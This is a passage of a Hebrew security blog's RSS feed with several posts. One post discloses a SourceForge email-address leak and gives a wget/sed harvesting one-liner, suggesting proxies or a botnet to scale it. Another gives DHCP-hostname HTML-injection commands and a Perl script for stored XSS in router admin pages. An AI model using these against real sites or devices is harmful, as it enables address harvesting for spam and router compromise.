<p>החיסכון פה בא במחיר של קו הטלפון (קו קל בבזק). האמת שרציתי לנתק את הקו, כי נמאס לי לקבל שיחות מרקטינג וטעויות במספר. אבל מה אפשר לעשות עם מכשיר הטלפון היפה עכשיו?</p>
<p>מצאתי מכשיר ב- <a href="http://www.ebay.com/" target="_blank">Ebay</a>, האמת שמצאתי כמה, אבל אדבר על האחד שקניתי. קוראים לו <a href="http://www.skypekey.com/Home.html" target="_blank">SkypeKey</a>, הוא בעצם כרטיס קול חיצוני, מתחבר למחשב ב- USB, ובצד השני יש לו שקע לקו טלפון. לא בדיוק פסגת הטכנולוגיה, אבל יש לו תוכנה שיודעת לחייג דרך <a href="http://www.skype.com/intl/en/allfeatures/subscriptions/rowcountry/?country=IL" target="_blank">SkypeOut</a>.</p>
<p><a href="http://www.binaryvision.org.il/wp-content/uploads/2010/02/SK11.jpg"><img class="alignleft size-thumbnail wp-image-565" title="SkypeKey" src="http://www.binaryvision.org.il/wp-content/uploads/2010/02/SK11-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>קודם כל למי שיש חשבון ב- <a href="https://www.google.com/voice" target="_blank">Google Voice</a> יכול לראות מיד את הפוטנציאל בלחייג לארה&quot;ב וקנדה חינם ועוד ממכשיר טלפון אמיתי. מי שמשתמש הרבה ב- Skype בטוח ייהנה מהאפשרות לענות לשיחות נכנסות בהרמת שפרפרת, אבל אני בעיקר נהנה מהשיחות לטלפונים קוויים בארץ בלי הגבלה (עד 6 שעות ביום) תמורת 22 ₪ לחודש (€3.95).</p>
<p>ברור לי שאם משלמים גם ל- Skype אין ממש חסכון, והתשלום לסלולר הוא יותר גבוה מבבזק, וגם אין מספר טלפון לשיחות נכנסות. מצד שני אין את החיוב המציק של ה30-60 שקל על שיחות לטלפונים קווים כי זה כבר כלול במחיר. זה גם לא נורא שאנשים יתקשרו אליי לנייד ואני פשוט אחזור אליהם.</p>
<p>ועכשיו ברשותכם רשימה קצרה של היתרונות וחסרונות. קודם החסרונות:</p>
<p>המחשב צריך להיות דלוק כל הזמן, וכמובן צריך גם אינטרנט כל הזמן. החלון של ה- Skype לא קופץ כשמתקשרים ואצלי הטלפון בכלל בחדר השני ככה שלא מרגישים את כל התהליך במחשב.</p>
<p>אי אפשר לשלוח או לקבל פקס, לא שאי אפשר טכנולוגית, פשוט הדבר חסום ב- Skype. אבל הפתרון לבעיה הזאת הוא די פשוט: שירות <a href="http://www.myfax.com/free" target="_blank">MyFax.com</a> נותן לשלוח חינם לטלפונים של בזק (השירות מוסיף עמוד ראשון עם פרסומת האתר), ושירות <a href="http://www.myfax.co.il/" target="_blank">MyFax.co.il</a> נותן מספר פקס זמני בקידומת של מירס ל5 ימים ושולח את הפקס לאימייל חינם.<a href="http://www.binaryvision.org.il/wp-content/uploads/2010/02/skypekey-1.jpg"><img class="alignleft size-medium wp-image-566" title="SkypeKey Diagram" src="http://www.binaryvision.org.il/wp-content/uploads/2010/02/skypekey-1-300x237.jpg" alt="Skype --&gt; Internet --&gt; Computer --&gt; SkypeKey --&gt; Regual Phone" width="300" height="237" /></a></p>
<p>הבעיה הכי הרצינית היא שאם תופסים יותר ממחצית רוחב הפס, ה- Latency קופץ למעלה ואיכות השיחה הופכת למאוד ירודה. זה קורה אם מורידים קובץ גדול, או אם ה- Torrent פתוח. כדי לפתור את הבעיה צריך נתב שתומך ב- QoS , ולא רק זה, צריך לשכנע את Skype לעבוד בצורה צפויה מספיק בשביל שחוקי ה- QoS יתפסו עליו מה שגם לא פשוט כמו שזה אמור להיות. האפשרות הפחות טובה היא להגביל את ה- Torrent מאוד בשעות היום למשל, ולסגור אותו לפני שיחות חשובות.</p>
<p>עוד חסרון הוא שאי אפשר להתקשר לכל המספרים הנייחים. אמנם השירות עובד מעולה למספרי בזק, HOT, קווי זהב, סלקום נייח, אורנג' נייח ופרי טלקום – אבל, אי אפשר להתקשר בכלל מספרי 1-800, 1-700, מספרי כוכבית של בזק (1-222) ככה שלהתקשר לשירות לקוחות של HOT לא כזה טריוויאלי כמו שזה אמור להיות. מה שכן, לרוב החברות יש גם מספר עם קידומת רגילה ככה שאפשר להסתדר.</p>
<p>טוב, עכשיו קצת על הדברים הטובים.</p>
<p>כמו שכבר אמרנו, קשה להתלונן כשהשיחה חינם. מאוד נחמד להתקשר לארה&quot;ב וקנדה ולדבר שעות חינם.</p>
<p>אפשר גם לקחת את החשבון Skype לנייד. Orange למשל, נותנים 30 מגה אינטרנט חינם לרוב המנויים, ויש גם Wifi כמעט בכל מקום, ככה שאפשר לחייג דרך Skype (ממליץ על התוכנה <a href="http://www.nimbuzz.com/en/" target="_blank">Nimbuzz</a> בגלל איכות השיחה).</p>
<p>מי שטס לחצי שנה להודו בטוח לא יתנגד לשיחות זולות לארץ מתוכנה שאפשר להתקין בכל מקום, במיוחד כשהאפשרות השניה היא לשלם על שיחות מהסלולר.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=563</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8235;אבטחה נמצאת בפרטים הקטנים&#8236;</title>		<link>http://www.binaryvision.org.il/?p=545</link>
		<comments>http://www.binaryvision.org.il/?p=545#comments</comments>
		<pubDate>Sun, 31 Jan 2010 21:05:22 +0000</pubDate>
		<dc:creator>&#8235;TAsn&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[sourceforge]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[פריצה]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=545</guid>
		<description><![CDATA[&#8235;
הפוסט של היום לא עוסק בהקשחת שרת או בתכנות נכון והגנתי, אלא בדבר חשוב יותר משניהם, תכנון. נתקלתי לאחרונה ב&#34;פרצה&#34; די מבדרת. הפרצה אומנם לא מאפשרת לי להשתלט על שרת, או אפילו לפגוע במשתמשים, אבל היא בהחלט מאפשרת גישה לדבר ששווה כסף, או לפחות יכול להיות מעצבן: כתובות אימייל של קבוצה ממוקדת נושא, במקרה הזה, [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>הפוסט של היום לא עוסק בהקשחת שרת או בתכנות נכון והגנתי, אלא בדבר חשוב יותר משניהם, תכנון.<br />
נתקלתי לאחרונה ב&quot;פרצה&quot; די מבדרת. הפרצה אומנם לא מאפשרת לי להשתלט על שרת, או אפילו לפגוע במשתמשים, אבל היא בהחלט מאפשרת גישה לדבר ששווה כסף, או לפחות יכול להיות מעצבן: כתובות אימייל של קבוצה ממוקדת נושא, במקרה הזה, אנשי טכנולוגיה.<br />
למי שלא מכיר, האתר <a href="http://sourceforge.net">sourceforge</a> הוא האתר הכי גדול (או לפחות אחד מההכי גדולים) לפרוייקטים קוד פתוח. באתר יש כ 2 מיליון משתמשים רשומים וכ 230,000 פרוייקטים. בנוסף, ישנם Mailing lists לכל הפרוייקטים, ובזה נתמקד.</p>
<p>נסתכל לדוגמה ב<a href="http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel">רשימת התפוצה</a> של Firebird. נניח ונרצה את כל הכתובות של החברים ברשימת התפוצה של Firebird, נפנה ל<a href="http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel">ארכיון המיילים</a> של Firebird, אך נתקל בבעיה, sourceforge חכמים מספיק בשביל לא לפרסם את המיילים של כולם באינטרנט כצאן לטבח. למזלם של הספאמרים, sourceforge לא תיכננו עד הסוף, ולמען האמת הם מספקים דרך מאוד פשוטה (ברוב המקרים) לגלות מה הכתובת המלאה של השולח. יש לציין ששיטה זו לא עובדת תמיד, אלא &quot;רק&quot; ברוב הכמעט מוחלט של המקרים.</p>
<p>נתבונן רגע לעומק במעמקי ה&quot;קוד&quot; של העמוד, נתבונן לדוגמה בלינק שנתתי קודם מ<a href="http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel">ארכיון המיילים של Firebird</a>: נבחר את המייל השלישי, זה נשלח ע&quot;י &quot;Adriano dos Santos Fernandes &lt;adrianosf@gm&#8230;&gt;&quot;. אנחנו רואים שהכתובת שלו מתחילה ב gm, (הערה: כולם משתמשים כיום ב gmail ככה שלא קשה לנחש שהכתובת האמיתית שלו היא gmail.com, למרות שהיא לא הייתה חייבת להיות, וזה יעבוד כמובן גם על כתובות של שרתי מייל שאנחנו לא מכירים) אבל אם נסתכל לעומק בלינק שמקשר לפוסט (בעמודה topic), נראה שם משהו מעניין, לדוגמה, במקרה שלנו, הלינק הוא:<br />
<a href="http://sourceforge.net/mailarchive/forum.php?thread_name=4B65B1DC.5020407%40gmail.com&#038;forum_name=firebird-devel">http://sourceforge.net/mailarchive/forum.php?thread_name=4B65B1DC.5020407%40gmail.com&#038;forum_name=firebird-devel</a><br />
הפלא ופלא, השדה thread_name מסתיים ב gmail.com, מכך נסיק ששרת המייל ששלח את המייל הוא gmail.com ולכן הכתובת היא adrianosf ~-at-~ gmail.com.<br />
נסתכל בשורה הבאה, מייל מאת Alexander Peshkoff &lt;peshkoff@ma&#8230;&gt;, אם נסתכל בלינק בעמודה topic, (לינק: <a href="http://sourceforge.net/mailarchive/forum.php?thread_name=201001311914.57707.peshkoff%40mail.ru&#038;forum_name=firebird-devel">http://sourceforge.net/mailarchive/forum.php?thread_name=201001311914.57707.peshkoff%40mail.ru&#038;forum_name=firebird-devel</a>) נראה שאותו שדה מסתיים הפעם ב @mail.ru, והרי זה לא מפתיע שזה מתאים לאימייל שלו שמתחיל ב: peshkoff@ma ולכן האימייל המלא שלו הוא peskoff ~-at-~ mail.ru.</p>
<p>החדים מביניכם בטח שמו לב שבמקרה השני, הלינק הכיל את כל הכתובת, ובמקרה הראשון לא. זה מתחבר לממה שאמרתי קודם, השדה הזה לא עקבי מספיק, (או לפחות לא מצאתי את החוקיות), ולכן זה לא עובד ב 100% מהמקרים, אבל ברוב המקרים שבדקתי, השדה הזה אכן מסתיים בשרת האיימייל ששלח את המייל, גם אם זה לא בהכרח השרת שיקבל את המיילים, זה בהחלט יכול לעזור. לדוגמה, לפעמים ב gmail הסיומת של השדה הזה תיהיה mail.google.com, אמנם אי אפשר לשלוח מייל ל adrianosf@mail.google.com (מהדוגמה הקודמת), אבל אפשר בהחלט לתרגם את זה בצורה קלה (הרי אם זה נפוץ מספיק אז אפשר לתרגם ידנית ובקלות להחליף את כל השדות).<br />
זה גם מאוד פשוט לגנוב את המיילים האלה, לדוגמה, השורה הפשוטה הבאה שמתמשת ב wget וב sed (אמנם לא הכי נקי שאפשר, אבל החלט עושה את העבודה):</p>
<pre>
wget -q -O - http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel | sed -n -e 's/^.*&lt;td width=&quot;50%&quot;&gt;&lt;a href=&quot;[^&amp;]*%40\([^&amp;]*\)[^&quot;]*&quot;.*$/@\1/p' -e s'/^.*&amp;lt;\([^&amp;]*\)...&amp;gt;.*/\1/p'
</pre>
<p>לוקחת עמוד ומחלצת ממנו את כל השרתים בשורה אחת (מתחילים ב @), ואת המייל (עד הקטע המצונזר) בשורה אחריה. להוסיף את התוצאות לdb פשוט (לדוגמה sqlite), ולכתוב סקריפט פרל קצר שיעבור בכל העמודים של כל ה ML ב sourceforge ויריץ עליהם את הסינון sed הזה, גם לא לוקח הרבה זמן. בקיצור, אנחנו יכולים, בקלות יחסית (עדיין צריך לזכור לא להציף את sourceforge ולהשתמש בפרוקסי\בוטנט) לקחת את כתובות האימייל של 2 מיליון אנשים טכנלוגיים (אולי יותר אולי פחות) ולהשתמש בהם בפרסום ממוקד באינטרנט.</p>
<p>כמובן שמתכנתים פחות טיפשים מהאדם הממוצע, ולכן מספר ה&quot;קניות&quot; פר מיילים תהיה נמוכה בהרבה מאשר ספאם ממוצע, אבל עדיין, מדובר פה בפרסום לקבוצה מאוד ממוקדת ועל 2 מליון כתובות.<br />
בנוסף, הפוסט הזה לא עוסק בהשגת כתובות אימיילם בשביל ספאם, אלא בעובדה שהם כביכול ניסו להגן משליחת ספאם למשתמשים שלהם, אבל בעצם חשפו את האימייל שלהם בצורה עקיפה. כל זה יכל להפתר אם הם היו מתכננים מראש, וחושבים פעמיים לפני שהם שמים את שם השרת ששלח את המייל גלוי לכל. אמנם במקרה הזה, הנזק לא גדול, אבל זה מדהים איך אתר כזה גדול מרשה למידע לזלוג בכזו קלות, או בקיצור, לדעתי זו &quot;פרצה&quot; נחמדה.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=545</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;סקר: עד כמה הראוטר שלכם מעפן ?&#8236;</title>		<link>http://www.binaryvision.org.il/?p=517</link>
		<comments>http://www.binaryvision.org.il/?p=517#comments</comments>
		<pubDate>Fri, 29 Jan 2010 16:59:42 +0000</pubDate>
		<dc:creator>&#8235;spdr&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=517</guid>
		<description><![CDATA[&#8235;
מבדיקה שעשיתי מסתבר שלהרבה מאוד ראוטרים אפשר להזריק קוד HTML באמצעות פרמטר ה HOSTNAME שמתקבל באמצעות פרוטוקול ה DHCP בזמן ההתחברות לנתב. ואם יש לנתב ממשק ווב שנותן לצפות ב DHCP TABLE או סתם מציג את ה HOSTNAME של המחשבים בכל דף אחר, אפשר לגרום בעצם ל XSS, ואולי אפילו להשיג ZONE פחות מאובטח בגרסאות [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>מבדיקה שעשיתי מסתבר שלהרבה מאוד ראוטרים אפשר להזריק קוד HTML באמצעות פרמטר ה HOSTNAME שמתקבל באמצעות פרוטוקול ה DHCP בזמן ההתחברות לנתב. ואם יש לנתב ממשק ווב שנותן לצפות ב DHCP TABLE או סתם מציג את ה HOSTNAME של המחשבים בכל דף אחר, אפשר לגרום בעצם ל XSS, ואולי אפילו להשיג ZONE פחות מאובטח בגרסאות ישנות של אינטרנט אקספלורר. אני בטח לא הראשון שחשב על זה אבל מהבדיקות שעשיתי 4 מתוך 4 ראוטרים היו פגיעים.</p>
<p>דוגמא לניצול בראוטר של סימנס:</p>
<p><img class="alignnone" src="http://img716.imageshack.us/img716/766/dhcfail.png" alt="" width="462" height="182" /></p>
<p>בינתיים הראוטרים שבדקתי היו:</p>
<pre class="brush: php">

2Wire

D-link

SIEMENS ADSL SL2-141

ובדיקה ידנית מול - Level one WBR 3408 11g
</pre>
<p>העלתי לאתר סקריפט שכתוב בפרל, אז אם בא לכם לעזור בסקר כדי שכולנו נדע איזה ראוטרים בדיוק פגיעים, תורידו את הסקריפט ותריצו נגד הראוטר. הסקריפט ישלח פאקט ֹאחד לפורט UDP 67 ואמור ליצור HOSTNAME עם איזה ערך שאתם רוצים.</p>
<p>אפשרות שניה היא לעשות את הבדיקה בצורה ידנית, דבר פשוט בלינוקס:</p>
<pre class="brush: php">

ifconfig eth0 hw ether 00

hostname &quot;htmlcodehere&quot; # Replace with real code

dhclient
</pre>
<p>השורה הראשונה תשנה את כתובת ה MAC של הכרטיס רשת, השורה השניה תשנה את ה HOSTNAME וצריך להכניס בין הגרשיים קוד HTML כלשהוא עד 64 תווים. השורה השלישית והאחרונה בעצם תבקש כתובת IP מהשרת DHCP עבור ה mac החדש מה שיגרום לרשומה חדשה ב DHCP TABLE.</p>
<p>את הסקריפט שכתוב בפרל אפשר להעתיק <a href="http://www.binaryvision.org.il/wp-content/uploads/2010/01/dhcphack.pl_.txt">מכאן</a></p>
<p>הסקריפט מקבל 2 פרמטרים, הראשון הוא האיפי של הראוטר והשני זה קוד HTML שיכול להיות עד 63 תווים, אז תיהיו יצירתיים <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . תדאגו גם לעטוף את הקוד HTML שאתם רוצים לנסות להזריק בגרשיים כדי שהטרמינל שלכם לא יחשוב שאלו פקודות BASH.</p>
<p>אחרי הניסיון ניצול (ידני או עם הסקריפט) תכנסו לממשק הווב לניהול הראוטר שלכם באמצעות הדפדפן ותבדקו אם הקוד שלכם הגיע לאחד הדפים &#8211; ואם כן, אז תכתבו לנו בתגובות בבקשה &#8211; תשתדלו לבדוק את הגרסא המדויקת של הראוטר שלכם לפני התגובה, ואם צריך להוסיף איזה קוד HTML כדי שההזרקה תיהיה אפקטיבית אז תדאגו להוסיף גם את זה.</p>
<p>יהיה מעניין לבדוק גם אם אפשר להריץ פקודות מרחוק, כמו הזרקת CGI SHELL לדפים של ראוטרים שונים. אבל אני מתאר לעצמי שזה בטח לא כלכך אפשרי.</p>
<p>התוצאות יתפרסמו בצורה מסודרת, כשיהיו מספיק תוצאות <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=517</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>&#8235;המלצה על מוצר Firewall בייתי&#8236;</title>		<link>http://www.binaryvision.org.il/?p=509</link>
		<comments>http://www.binaryvision.org.il/?p=509#comments</comments>
		<pubDate>Wed, 20 Jan 2010 20:14:28 +0000</pubDate>
		<dc:creator>&#8235;PHANTOm&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[רשתות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=509</guid>
		<description><![CDATA[&#8235;
בעקבות המלצה על אתר בדיקות בלתי תלוי, החלטתי לעשות בדיקת ראש בראש בין 2 מוצרי Firewall בעצמי: ה- PC Tools Firewall Plus 6.0.0.88 וה- Comodo Internet Security 3.13. למי שאין כוח לקרוא את כל הטקסט, אל תשתמשו ב PC Tools.
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>מזמן לא יצא לי לראות מה חדש בעולם תוכנות ה- Firewall,  אז כמה אנשים המליצו לי על <a title="Proactive Security Challenge" href="http://goo.gl/chNc" target="_blank">האתר הזה</a> שנראה די לגיטימי, יש להם מתודולוגיה, פרמטרים לבדיקה, וציונים. החלטתי לתת סיבוב ל- 2 המוצרים שקיבלו את הציונים הכי גבוהים ב Review שלהם.</p>
<p><a href="http://goo.gl/KE3z">PC Tools Firewall Plus 6.0.0.88</a> ו- <a href="http://goo.gl/SLhj">Comodo Internet Security 3.13</a>, שניהם מוצרים חינמיים אז אין בעיה להוריד ולבדוק. Online Armor Premium קיבל ציון 99% אבל הוא לא נתמך ב64 ביט, אז אין לי מה לבדוק אותו.</p>
<p>התחלתי מ <strong>PC Tools</strong>, הלוגו הזכיר לי מאיפה אני מכיר את החברה: הם עשו קופה בזמנו עם מוצרי ה Anti-Spyware, ותיקוני ה- Registry. אחרי שהתקנתי את המוצר הוא שאל אותי אם אני סומך על Google Talk ו mIRC, הסיבה שהוא התפל דווקא עליהם היא שהתוכנות לא חתומות, שזה סבבה כל עוד מי שרוצה לפרוץ אליך לא מוכן לבזבז 1000 דולר על חתימה. ניסיתי להריץ netcat ועוד כמה תוכנות אינטרנט לא חתומות, ולהפתעתי זה עבד. מוזר, אין שום שאלות מהתוכנה. ניסיתי להריץ shell של vnc connect back, גם עובד. מדאיג.</p>
<p>או קיי, אז אולי הוא ברמה של Windows Firewall חשבתי לעצמי, הוא בטח יקפוץ אם התוכנה תעשה listen ל 0.0.0.0, אבל מסתבר שממש לא. בניתי קוד חדש לבדיקה, לא חתום ולא כלום, דחפתי אותו בכוונה ל Startup ב Registry רק כדי לראות אולי PC Tools יבין את הרמז, אבל הרמז לא נקלט. כנראה שאני קורא את התוצאות הפוך, בטח באתר התכוונו ל- &quot;100%&quot; פריץ.</p>
<p>טוב, נמשיך עם <strong>Comodo</strong>, גם הוא קיבל ציון 100, וגם הוא חינמי.</p>
<p>ההתקנה שלו די גדולה, ומתחילה מ WinZip SFX, משהו שלא ראיתי משנת 1999 אז כשהסרט מאטריקס הראשון יצא. אחרי זה ההתקנה רצתה לדחוף לי 3 toolbars, ורצתה להחליף לי שרתי DNS.</p>
<p>אחרי ההתקנה, comodo התחיל לשאול שאלות, רובן מפגרות, כמו האם מותר לגעת לתהליך מערכת בג'יסטרי, בלי להגיד לי מה התהליך או מה ברג'יסטרי. אחרי משהו כמו 50 שאלות מתוכן 48 שבאמת לא היה צריך לשאול, הוא התחיל לעבוד. הוא בהחלט שם לב ל- VNC ולקוד שבניתי.</p>
<p>מה שפחות טוב, מסתבר שההמלצות ש- comodo נותן מבוססות על מה שאנשים אחרים לוחצים, למשל, התוכנה אמרה לי ש 95% מהאנשים שהריצו את הסוס הטרויאני חשבו שהתוכנה בטוחה. כמובן שמי שיודע לקבל החלטות כאלה בעצמו אכן הרוויח כלי די חזק לפחות מהכמה דקות שיצא לי לעבוד איתו.</p>
<p>לא יצא לי לבדוק שיטות מתקדמות על ה Firewall עדיין, אני אעדכן את הטקסט כשיצא לי. ראיתי גם עוד שמות של תוכנות מוכרות כמו Outpost ו Kaspersky שהיו לי בעבר, נכון לעכשיו ההמלצה שלי למי שמחפש משהו שייתן רמה סבירה של הגנה &#8211; שילך על <a title="Download Comodo Firewall" href="http://goo.gl/TGTf" target="_blank">Comodo</a>.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=509</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>&#8235;לרמות בבדיקות מהירות&#8236;</title>		<link>http://www.binaryvision.org.il/?p=476</link>
		<comments>http://www.binaryvision.org.il/?p=476#comments</comments>
		<pubDate>Mon, 09 Nov 2009 21:43:31 +0000</pubDate>
		<dc:creator>&#8235;PHANTOm&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[איך לדפוק לקוחות]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[משאבים]]></category>
		<category><![CDATA[נקמה]]></category>
		<category><![CDATA[תקשורת]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=476</guid>
		<description><![CDATA[&#8235;
אני מניח שרבים מכם רוצים לפתוח ספקית אינטרנט ISP משלכם, אבל קשה למצוא ביימנו מדריך טוב ל”איך לדפוק את הלקוחות”, אז החלטתי לסייע עם כמה טיפים שיעזרו לכם לחסוך עלויות ולהימנע משאלות מציקות במוקדי התמיכה. ללקוח אין כמעט כלים לבדוק את הספקית, לכן כמה טריקים זולים יספיקו בהחלט. גיימרים? הם רק רוצים פינגים, וזה ממש [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>אני מניח שרבים מכם רוצים לפתוח ספקית אינטרנט ISP משלכם, אבל קשה למצוא ביימנו מדריך טוב ל”<strong>איך לדפוק את הלקוחות</strong>”, אז החלטתי לסייע עם כמה טיפים שיעזרו לכם לחסוך עלויות ולהימנע משאלות מציקות במוקדי התמיכה.</p>
<p>ללקוח אין כמעט כלים לבדוק את הספקית, לכן כמה טריקים זולים יספיקו בהחלט.</p>
<p><strong>גיימרים</strong>? הם רק רוצים פינגים, וזה ממש קל, מתעדפים תעבורת ICMP והעסק סגור. פינגים נמוכים שלא באמת קשורים למהירות החיבור או לעומסים ברשת.</p>
<p><strong>בודקים אתכם</strong>? פשוט תרמו יותר. speedtest.net (התוצאה הראשונה למי שמחפש בדיקה בגוגל) מוריד קבצים קטנים, ומודד את התעבורה ע&quot;פ הזמן שלוקח להוריד את אותם קבצים. יש לו המון שרתים וכל הזמן מחדשים את הרשימה. מה עושים? יוצרים תעדוף burst, קבצים קטנים טסים, אבל אחרי כמה שניות המהירות צונחת. בעיה נפתרה.</p>
<p><strong>אבל הלקוח מתקשר ומתלונן, מה עושים</strong>? אומרים לו שהבעיה אצלו. אין בעיה לרמות אותו, פשוט, יוצרים 3-4 אתרי בדיקת מהירות ייעודיים, ומתעדפים את התעבורה אליהם. אפשר גם להוסיף איזה שקר כלשהו על עומס בשרת שאותו מסכן מנסה מולו.</p>
<p><strong>אבל יש שכנים עם wifi וספקיות אחרות, ששם אפשר להוריד יותר מהר, מה אז</strong>? אל חשש, בשביל זה הגדולים המציאו משחק: כל מי שמתלונן ומצליח לעבור את סינון ההעלבות הראשוני – מועבר ל&quot;ארגז חול&quot; חדש ובתולי, אבל, ממשיכים להזרים עוד ועוד אנשים לאותו &quot;ארגז חול&quot;, עד שהוא יתמלא, וככה ממשיכים במלחמת ההתשה עד שכבר לא יהיה ללקוח עוד כוח לבקש לעבור שוב.</p>
<p><strong>ומה עושים עם bittorent שגומר את כל הפס</strong>? ספקיות רבות בארץ מצליחות להרוג את מהירות ה- torrent, למשל ע&quot;י סינון אקראי של packets, הגבלה על חיבורים חדשים (חצי פתוחים) ברמת תשתית, ניתובים גרועים במיוחד ללקוחות פרטיים במדינות אחרות. למי שזה ממש מפריע &#8211; אולי אפילו שווה להשקיע באיזה מוצר מדף ייעודי נחמד.</p>
<p><strong>איך גורמים ללקוחות לשדרג למהירויות שהם לא צריכים</strong>? יוצרים איזה קמפיין על איזה משהו Private ואומרים שזה &quot;תשתית נפרדת&quot;, ובאותו זמן מייבשים את כל הלקוחות שאין להם את זה, וכמובן דוחפים אותם לשדרוג בתור פתרון. Win Win (יותר כסף לספקית וגם יותר כסף להנהלה).</p>
<p>הכול טוב ויפה, אבל <strong>מה אם תבוא איזה ספקית בלי כל הבולשיט הזה ותגנוב את הלקוחות</strong>? אין סיכוי, וחוץ מזה &#8211; <strong>הלקוחות טיפשים</strong>. מי כבר יכול לעשות כזה דבר במצב של היום? 018 על התשתית של בזק בינלאומי המיובשת בגלל רשת פרמיום ל- NGN שהיא מנסה מקדמת, ואורנג'? נתן להם עוד כמה חודשים גג.</p>
<p><strong>לסיכום</strong>: כך תחסכו על גבם של הפראיירים שמחוברים אצלכם ותשקיעו את הכסף במה שחשוב באמת, חופשות סקי ובתים בסביון.</p>
<p>נ.ב.</p>
<p>אני מרגיש כמו הקוסם שמגלה את הסודות של אחרים, רק שהקסם האמיתי פה זה איך עדיין חברות כמו אינטרנט זהב-012, נטויז'ן-ברק ובזק בינלאומי גורפות כאלה קופות על גבם של הלקוחות, בלי שאלה ישימו לב.</p>
<p>אולי מגיע לנו, אם אנחנו משלמים על משהו שאנחנו לא מקבלים ולא הולכים להלחם על זה. כל שקל שאנחנו נותנים הופך לעוד שקל שמשתמשים בו בשביל שלא נקבל את מה שאנחנו משלמים עליו במקור.</p>
<p>&#8212;</p>
<p>תוספת קטנה מפי D:</p>
<p>נמאס לכם מזה ?</p>
<p>עכשיו אפשר לנקום ! זה כנראה לא ישפר לכם את האינטרנט אבל הספקיות מאוד לא אוהבות שמשתמשים להם בהרבה רוחב פס לחו&quot;ל.<br />
עכשיו יש תוכנה שעושה בדיוק את זה ! התוכנה תנצל 100% אחוז מרוחב הפס שלכם. וכרגע הפסקיות לא חוסמות אותה.<br />
התוכנה חסרת ממשק. מיד עם הרצתה יפתח חלון עם טקסט חסר משמעות.<br />
שימו לב התוכנה כרגע ב<strong>גרסא 0.02</strong>.<br />
לינק להורדה: <a href="http://web.nix.co.il/download/downloader.rar">http://web.nix.co.il/download/downloader.rar</a> (מי שלא מצליח להוריד על 600 או על המהירות המלאה שלו כנראה שלא יודע שדופקים אותו).</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=476</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>&#8235;משהו חדש ללמוד&#8236;</title>		<link>http://www.binaryvision.org.il/?p=467</link>
		<comments>http://www.binaryvision.org.il/?p=467#comments</comments>
		<pubDate>Sun, 08 Nov 2009 16:17:37 +0000</pubDate>
		<dc:creator>&#8235;PHANTOm&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פיתוח]]></category>
		<category><![CDATA[תכנות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=467</guid>
		<description><![CDATA[&#8235;
כולם פה אני מניח יודעים שפה או שתיים, אולי PHP אולי #C, אולי Python, Perl, Visual Basic. אבל למי מייתנו שילך ללמוד באקדמיה (אמיתית או מכללה) יגיע יום ויצתרך להתמודד עם ++C. יש הרבה מדריכים על השפה עצמה (יותר מידי), אבל מניסיון, הכי מהר ללמוד משהו כשמתמודדים עם פרוייקט אמיתי ביום יום. בגלל שקשה לי [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>כולם פה אני מניח יודעים שפה או שתיים, אולי PHP אולי #C, אולי Python, Perl, Visual Basic. אבל למי מייתנו שילך ללמוד באקדמיה (אמיתית או מכללה) יגיע יום ויצתרך להתמודד עם ++C. יש הרבה מדריכים על השפה עצמה (יותר מידי), אבל מניסיון, הכי מהר ללמוד משהו כשמתמודדים עם פרוייקט אמיתי ביום יום. בגלל שקשה לי להאמין שמישהו צריך תוכנת קונסול שתעשה חשבון פשוט, אני ממליץ על להתחיל עם Qt.</p>
<p><img style="float: left; border: 0px initial initial;" title="mirccr_win7" src="http://www.binaryvision.org.il/wp-content/uploads/2009/11/mirccr_win7-150x150.png" alt="mirccr_win7" width="150" height="150" />למה?</p>
<ul>
<li>לא צריך Visual Studio בכלל. מורידים את העורך Qt Creator (חלק מהחבילה הגדולה) ואפשר להתחיל לבנות ולדבג. לא צריך שום דבר נוסף כדי שהכל יעבוד.</li>
